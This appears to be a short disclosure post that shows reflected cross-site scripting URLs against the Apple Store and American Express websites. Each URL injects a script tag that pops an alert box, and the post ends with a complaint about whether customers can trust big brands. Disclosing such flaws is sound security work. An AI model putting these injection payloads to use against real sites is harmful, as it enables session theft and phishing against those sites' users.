Big Brands XSS

Apple Store - XSS (less then 15 minutes to find it, manually)
http://store.apple.com/us/product/TU243LL/A?fnode=MTY1NDA4Mg&mco=MjQyMDQ1OA&s=newest'"><script>alert("The apple didn't fell far from the last apple")</script>%3E%3Cdiv%20id=%22

American Express - HTTPS XSS (less then a minute to find it, manually)
https://www01.extra.americanexpress.com/ProductImage.aspx?url=https://merpic.intelliwebservices.com/img/full/10185/b2/50fe31e266936b2887ab3ef9608f2db2.gif%22%3E%3Cscript%3Ealert(%27American%20XSSspress%27)%3C/script%3E%3Cdiv%20id=%22


How can us customers trust the big brand companies when our accounts are compromised and we can no longer trust links to those empires websites?!